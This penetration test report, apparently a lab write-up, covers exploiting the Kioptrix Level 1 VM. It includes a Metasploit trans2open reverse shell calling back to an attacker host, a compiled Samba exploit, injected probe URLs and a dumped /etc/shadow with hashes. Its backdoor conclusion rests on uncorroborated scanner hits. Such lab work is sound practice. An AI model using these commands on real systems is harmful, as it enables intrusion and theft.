

# **Penetration Test Report**

**Machine: Kioptrix Level 1**  
**Written By: Lakshy Sharma**

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## *Scanning and Information Gathering.*

### 1. Important Observations.

- Server not hidden from other machines on LAN network.
- Lost of outdated software being used.
  - Apache outdated. Used – 1.3.2, Current – 2.4.37
  - OpenSSL outdated. Used – 0.9.6b, Current – 1.1.1.
- Test pages left open for general public.
- This particular nikto finding shows a php backdoor is present in the machine which can be prove to be really worrying.
  - /wordpresswp-content/themes/twentyeleven/images/headers/server.php?filesrc=/etc/hosts: **A PHP backdoor file manager was found.**
- Something more critical that we can see here, looks like a bash backdoor is present.
  - /shell?cat+/etc/hosts: A backdoor was identified.
  - This could mean the machine is already under attack!
- ///etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL.
- Overall speaking the server seems to be overflowing with vulnerabilities.

### 2. Scanning results

#### **Nmap Scan results.**

```
$ nmap -sV -p- 10.10.10.3 1 x
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 09:18 EDT
Nmap scan report for 10.10.10.3
Host is up (0.0020s latency).
Not shown: 65529 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 2.9p2 (protocol 1.99)
80/tcp    open  http         Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4
OpenSSL/0.9.6b)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp   open  ssl/https    Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
32768/tcp open  status       1 (RPC #100024)
```

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .  
Nmap done: 1 IP address (1 host up) scanned in 25.19 seconds

#### **Dirb Scan results**

```
$ dirb http://10.10.10.3
```

```
-----
DIRB v2.22
By The Dark Raver
-----
```

```
START_TIME: Wed May 5 09:43:51 2021
URL_BASE: http://10.10.10.3/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
```

-----  
GENERATED WORDS: 4612

---- Scanning URL: http://10.10.10.3/ ----  
+ http://10.10.10.3/~operator (CODE:403|SIZE:273)  
+ http://10.10.10.3/~root (CODE:403|SIZE:269)  
+ http://10.10.10.3/cgi-bin/ (CODE:403|SIZE:272)  
+ http://10.10.10.3/index.html (CODE:200|SIZE:2890)  
==> DIRECTORY: http://10.10.10.3/manual/  
==> DIRECTORY: http://10.10.10.3/mrtg/  
==> DIRECTORY: http://10.10.10.3/usage/  
  
---- Entering directory: http://10.10.10.3/manual/ ----  
(!) WARNING: Directory IS LISTABLE. No need to scan it.  
(Use mode '-w' if you want to scan it anyway)  
  
---- Entering directory: http://10.10.10.3/mrtg/ ----  
+ http://10.10.10.3/mrtg/index.html (CODE:200|SIZE:17318)  
  
---- Entering directory: http://10.10.10.3/usage/ ----  
+ http://10.10.10.3/usage/index.html (CODE:200|SIZE:5413)

-----  
END\_TIME: Wed May 5 09:43:59 2021  
DOWNLOADED: 13836 - FOUND: 6

### **3. Information Gathering Observations.**

1. From nmap we learn that website has http ports open so I went on the website and I found a test page that shows the computer uses a red hat linux.

# Test Page

This page is used to test the proper operation of the Apache Web server after it has been installed. If you can read this page, it means that the Apache Web server installed at this site is working properly.

## If you are the administrator of this website:

You may now add content to this directory, and replace this page. Note that until you do so, people visiting your website will see this page, and not your content.

If you have upgraded from Red Hat Linux 6.2 and earlier, then you are seeing this page because the default **DocumentRoot** set in `/etc/httpd/conf/httpd.conf` has changed. Any subdirectories which existed under `/home/httpd` should now be moved to `/var/www`. Alternatively, the contents of `/var/www` can be moved to `/home/httpd`, and the configuration file can be updated accordingly.

## If you are a member of the general public:

The fact that you are seeing this page indicates that the website you just visited is either experiencing problems, or is undergoing routine maintenance.

If you would like to let the administrators of this website know that you've seen this page instead of the page you expected, you should send them e-mail. In general, mail sent to the name "webmaster" and directed to the website's domain should reach the appropriate person.

For example, if you experienced problems while visiting `www.example.com`, you should send e-mail to "webmaster@example.com".

The Apache [documentation](#) has been included with this distribution.

For documentation and information on Red Hat Linux, please visit the [Red Hat, Inc.](#) website. The manual for Red Hat Linux is available [here](#).

You are free to use the image below on an Apache-powered Web server. Thanks for using Apache!



You are free to use the image below on a Red Hat Linux-powered Web server. Thanks for using Red Hat Linux!



2. The URL `10.10.10.3/cgi-bin` throws a 404 error and leaks critical information of outdated software being used.

## Not Found

The requested URL `/cgi-bin` was not found on this server.

---

*Apache/1.3.20 Server at 127.0.0.1 Port 80*

## *Enumeration*

### 1. Automated Enumeration Scan Results.

#### **Nikto Scan results.**

- Nikto v2.1.6

-----

- + Target IP: 10.10.10.3
- + Target Hostname: 10.10.10.3
- + Target Port: 80
- + Start Time: 2021-05-05 09:25:46 (GMT-4)

-----

- + Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod\_ssl/2.8.4 OpenSSL/0.9.6b
- + Server may leak inodes via ETags, header found with file /, inode: 34821, size: 2890, mtime: Wed Sep 5 23:12:46 2001
- + The anti-clickjacking X-Frame-Options header is not present.
- + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
- + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
- + mod\_ssl/2.8.4 appears to be outdated (current is at least 2.8.31) (may depend on server version)
- + OpenSSL/0.9.6b appears to be outdated (current is at least 1.1.1). OpenSSL 1.0.0o and 0.9.8zc are also current.
- + Apache/1.3.20 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
- + OSVDB-27487: Apache is vulnerable to XSS via the Expect header
- + Allowed HTTP Methods: GET, HEAD, OPTIONS, TRACE
- + OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
- + OSVDB-838: Apache/1.3.20 - Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392.
- + OSVDB-4552: Apache/1.3.20 - Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839.
- + OSVDB-2733: Apache/1.3.20 - Apache 1.3 below 1.3.29 are vulnerable to overflows in mod\_rewrite and mod\_cgi. CAN-2003-0542.
- + mod\_ssl/2.8.4 - mod\_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell. <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0082>, OSVDB-756.
- + ///etc/hosts: The server install allows reading of any system file by adding an extra '/' to the URL.
- + OSVDB-682: /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS).
- + OSVDB-3268: /manual/: Directory indexing found.
- + OSVDB-3092: /manual/: Web server manual found.
- + OSVDB-3268: /icons/: Directory indexing found.
- + OSVDB-3233: /icons/README: Apache default file found.
- + OSVDB-3092: /test.php: This might be interesting...
- + /wp-content/themes/twentyeleven/images/headers/server.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
- + /wordpress/wp-content/themes/twentyeleven/images/headers/server.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.
- + /wp-includes/Requests/Utility/content-post.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.

+ /wordpresswp-includes/Requests/Utility/content-post.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.  
+ /wp-includes/js/tinymce/themes/modern/Meuhy.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.  
+ /wordpresswp-includes/js/tinymce/themes/modern/Meuhy.php?filesrc=/etc/hosts: A PHP backdoor file manager was found.  
+ /assets/mobirise/css/meta.php?filesrc=: A PHP backdoor file manager was found.  
+ /login.cgi?cli=aa%20aa%27cat%20/etc/hosts: Some D-Link router remote command execution.  
+ /shell?cat+ /etc/hosts: A backdoor was identified.  
+ 8672 requests: 0 error(s) and 30 item(s) reported on remote host  
+ End Time: 2021-05-05 09:26:06 (GMT-4) (20 seconds)

-----  
+ 1 host(s) tested

### Nessus Scan Results.

The nessus scan results have been attached with this report.

## 2. Manual Enumeration Results.

Using exploit database I found various exploits for the vulnerabilities discovered in scanning and automated enumeration.

Below is an exploit for outdated Apache.

### Apache 1.3.x mod\_include - Local Buffer Overflow

**EDB-ID:**

24694

**CVE:**

2004-0940

**Author:**

XCRZX

**Type:**

LOCAL

**EDB Verified:** ✓

**Exploit:** 📄 / {}

**Platform:**

LINUX

**Date:**

2004-10-18

**Vulnerable App:** 📄



Using Metasploit I found an auxiliary module that can be used to find what version of samba file-share is being used. This is done to check if I can exploit samba services.

### Metasploit Scan Output - Samba version 2.2.1a

1. First I searched for a smb scanner in metasploit.
2. Then I entered auxiliary scan and set the remote host as my target machine 10.10.10.3.
3. The output gives the results of samba being used, now I can find exploits.

```
msf6 > search smb scanner
```

#### Matching Modules

=====

#	Name	Disclosure Date	Rank	Check	Description
-	----	-----	----	-----	-----
0	auxiliary/scanner/http/citrix_dir_traversal (NetScaler) Directory Traversal Scanner	2019-12-17		normal No	Citrix ADC
1	auxiliary/scanner/smb/impacket/dcomexec	2018-03-19		normal No	DCOM Exec
2	auxiliary/scanner/smb/impacket/secretsdump			normal No	DCOM Exec
3	auxiliary/scanner/smb/smb_ms17_010			normal No	MS17-010 SMB RCE
	Detection				
4	auxiliary/scanner/smb/psexec_loggedin_users Authenticated Logged In Users Enumeration			normal No	Microsoft Windows
5	auxiliary/scanner/sap/sap_smb_relay			normal No	SAP SMB Relay Abuse
6	auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing EPS_GET_DIRECTORY_LISTING Directories Information Disclosure			normal No	SAP SOAP RFC
7	auxiliary/scanner/sap/sap_soap_rfc_pfl_check_os_file_existence RFC PFL_CHECK_OS_FILE_EXISTENCE File Existence Check			normal No	SAP SOAP
8	auxiliary/scanner/sap/sap_soap_rfc_rzl_read_dir RZL_READ_DIR_LOCAL Directory Contents Listing			normal No	SAP SOAP RFC
9	auxiliary/scanner/smb/smb_enumusers_domain Enumeration			normal No	SMB Domain User
10	auxiliary/scanner/smb/smb_enum_gpp Preference Saved Passwords Enumeration			normal No	SMB Group Policy
11	auxiliary/scanner/smb/smb_login Scanner			normal No	SMB Login Check
12	auxiliary/scanner/smb/smb_lookupsid Enumeration (LookupSid)			normal No	SMB SID User
13	auxiliary/admin/smb/check_dir_file File/Directory Utility			normal No	SMB Scanner Check
14	auxiliary/scanner/smb/pipe_auditor Auditor			normal No	SMB Session Pipe
15	auxiliary/scanner/smb/pipe_dcerpc_auditor DCERPC Auditor			normal No	SMB Session Pipe
16	auxiliary/scanner/smb/smb_enumshares Enumeration			normal No	SMB Share
17	auxiliary/scanner/smb/smb_enumusers Enumeration (SAM EnumUsers)			normal No	SMB User
18	auxiliary/scanner/smb/smb_version			normal No	SMB Version Detection



19	auxiliary/scanner/snmp/snmp_enumshares	normal	No	SNMP Windows
SMB Share Enumeration				
20	auxiliary/scanner/smb/smb_uninit_cred	normal	Yes	Samba
_netr_ServerPasswordSet Uninitialized Credential State				
21	auxiliary/scanner/smb/impacket/wmiexec	2018-03-19	normal	No WMI Exec

Interact with a module by name or index. For example info 21, use 21 or use auxiliary/scanner/smb/impacket/wmiexec

msf6 > use 18

msf6 auxiliary(scanner/smb/smb\_version) > info

Name: SMB Version Detection

Module: auxiliary/scanner/smb/smb\_version

License: Metasploit Framework License (BSD)

Rank: Normal

Provided by:

hdm <x@hdm.io>

Spencer McIntyre

Christophe De La Fuente

Check supported:

No

Basic options:

Name	Current Setting	Required	Description
------	-----------------	----------	-------------

----	-----	-----	-----
------	-------	-------	-------

RHOSTS	yes		The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
--------	-----	--	------------------------------------------------------------------------------------

THREADS 1	yes		The number of concurrent threads (max one per host)
-----------	-----	--	-----------------------------------------------------

Description:

Fingerprint and display version information about SMB servers.

Protocol information and host operating system (if available) will be reported. Host operating system detection requires the remote server to support version 1 of the SMB protocol. Compression and encryption capability negotiation is only present in version 3.1.1.

msf6 auxiliary(scanner/smb/smb\_version) > set RHOSTS 10.10.10.3

RHOSTS => 10.10.10.3

msf6 auxiliary(scanner/smb/smb\_version) > run

[\*] 10.10.10.3:139 - SMB Detected (versions:) (preferred dialect:) (signatures:optional)

[\*] 10.10.10.3:139 - Host could not be identified: Unix (Samba 2.2.1a)

[\*] 10.10.10.3: - Scanned 1 of 1 hosts (100% complete)

[\*] Auxiliary module execution completed

Exploits based on detected samba version.

Exploit 1

Samba 2.2.x - 'nttrans' Remote Overflow (Metasploit)

EDB-ID:

9936

CVE:

2003-0085

EDB Verified:

✓

Author:

H D MOORE

Type:

REMOTE

Exploit:

⬇

/

{ }

Platform:

LINUX

Date:

2003-04-07

Vulnerable App:

⬅

➡

Exploit 2

Samba 2.2.x - Remote Buffer Overflow

EDB-ID:

7

CVE:

2003-0201

EDB Verified:

✓

Author:

H D MOORE

Type:

REMOTE

Exploit:

⬇

/

{ }

Platform:

LINUX

Date:

2003-04-07

Vulnerable App:

📄

⬅

➡

Some more exploits we can use.

CVE Details
The ultimate security vulnerability datasource

Search bar with 'Search' button and 'View CV' button. Navigation links: Home, Browse, Reports, Search, Top 50, External Links, View CVE, View BID, Search By Microsoft Reference ID. Main content: Samba » Samba » 2.2.1a : Security Vulnerabilities. Table with 14 columns: #, CVE ID, CWE ID, # of Exploits, Vulnerability Type(s), Publish Date, Update Date, Score, Gained Access Level, Access, Complexity, Authentication, Conf., Integ., Avail. Rows include CVE-2019-3880, CVE-2019-3824, CVE-2018-10858, CVE-2018-1139, CVE-2017-12163, CVE-2017-12151, CVE-2017-12150, CVE-2012-6150, CVE-2013-2724, CVE-2010-3069, CVE-2010-0547, CVE-2007-6015, CVE-2004-1154, CVE-2004-0815, CVE-2003-0201, CVE-2003-0186, CVE-2003-0086, CVE-2003-0085, CVE-2002-2186. Footer: CVE is a registered trademark of the MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site.

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## ***Exploitation***

### **Automated Exploit.**

I started metasploit console and followed these command to get a reverse shell.

The commands used are.

1. msfconsole
2. search trans2open
3. use 1
4. set RHOSTS 10.10.10.3
5. set LHOST 10.10.10.4
6. set payload linux/x86/shell\_reverse\_tcp
7. info (To check all information.)
8. run

After pressing enter button with last command I successfully entered a reverse shell with my victim sysem.

### **Manual Exploit.**

The chain of commands to use is.

1. Use the searchsploit command to explore exploit database and find a samba vulnerability using following command.
  - searchsploit samba.
2. Extract the exploit in current directory using following command.
  - searchsploit -m unix/remote/22469.c.
3. Compile the exploit using gcc in following command.
  - gcc -o exploit 22469.c.
4. To find the options available use this command.
  - ./exploit.
5. To target our victim machine use this command.
  - ./exploit -t 10.10.10.3.
6. Once the attack is complete you must gain a reverse shell into the victim machine.
7. Use the command 'whoami' to check which user you are currently I hope you have gained root privilege into target machine.

## *Findings.*

Once I got my reverse shell I ran these commands and the output is given below.

```
whoami
root
ls
dead.letter
mbox
cat mbox
From root Sat Sep 26 11:42:10 2009
Return-Path: <root@kiptix.level1>
Received: (from root@localhost)
    by kiptix.level1 (8.11.6/8.11.6) id n8QFgAZ01831
    for root@kiptix.level1; Sat, 26 Sep 2009 11:42:10 -0400
Date: Sat, 26 Sep 2009 11:42:10 -0400
From: root <root@kiptix.level1>
Message-Id: <200909261542.n8QFgAZ01831@kiptix.level1>
To: root@kiptix.level1
Subject: About Level 2
Status: RO
```

If you are reading this, you got root. Congratulations.  
Level 2 won't be as easy...

```
cat /etc/shadow
root:$1$bb7mJB5u$8/xu63rH8Fm8bsAS7iAsv1:18421:0:99999:7:::
bin:!:14513:0:99999:7:::
daemon:!:14513:0:99999:7:::
adm:!:14513:0:99999:7:::
lp:!:14513:0:99999:7:::
sync:!:14513:0:99999:7:::
shutdown:!:14513:0:99999:7:::
halt:!:14513:0:99999:7:::
mail:!:14513:0:99999:7:::
news:!:14513:0:99999:7:::
uucp:!:14513:0:99999:7:::
operator:!:14513:0:99999:7:::
games:!:14513:0:99999:7:::
gopher:!:14513:0:99999:7:::
ftp:!:14513:0:99999:7:::
nobody:!:14513:0:99999:7:::
mailnull:!:14513:0:99999:7:::
rpm:!:14513:0:99999:7:::
xfs:!:14513:0:99999:7:::
rpc:!:14513:0:99999:7:::
rpcuser:!:14513:0:99999:7:::
nfsnobody:!:14513:0:99999:7:::
nsd:!:14513:0:99999:7:::
ident:!:14513:0:99999:7:::
radvd:!:14513:0:99999:7:::
postgres:!:14513:0:99999:7:::
```

```
apache:!!:14513:0:99999:7:::  
squid:!!:14513:0:99999:7:::  
pcap:!!:14513:0:99999:7:::  
john:$1$zL4.MR4t$26N4YpTGceBO0gTX6TAky1:14513:0:99999:7:::  
harold:$1$Xx6dZdOd$IMOGACl3r757dv17LZ9010:14513:0:99999:7:::
```

Congratulations you have been hacked.

Note – As a measure of ease of access I have changed the root password but this is not recommended in a professional setup.

## ***Conclusion***

### **Findings**

The Kioptrix Level 1 is a machine that is fully ridden with various vulnerabilities and should not be allowed to run as a server in any kind of professional setup.

Apart from simple samba vulnerability that gave us root access to the whole system, it has 2 backdoors present in php and bash.

It runs pretty outdated version of linux and apache-server and is not fit for commercial deployment.

### **Suggestions**

If hardware is still supported then please follow course of action plan to fixing the vulnerabilities.

If hardware is not supported then it is advisable to leave this machine and try some latest hardware.

## ***Course of Action Plan.***

1. Run a hardware scan and check if hardware is supported by latest Linux distribution.
2. Run a full distro upgrade if possible if not create a new live usb with latest linux distribution and perform a complete reinstall of OS.
3. After reinstallation setup apache-server and make sure no error pages are out in public domain.
4. Make sure A firewall is installed and active.
5. Setup tripwire for system.
6. Setup network subnets and shift your server onto a different LAN to make attacking it harder.
7. Setup server such that it only allows necessary ports.
8. Use network firewalls so that scans like nikto and nessus get picked up and the hosts are temporarily banned.
9. Remember to close extra ports and use a commercial security checkup software like lynis to detect vulnerabilities and patch them actively.
10. Make sure the router can block DoS attacks so the server itself does not have to deal with it.
11. Make use of honey pots in the network and try to analyse your attacker's motives and techniques.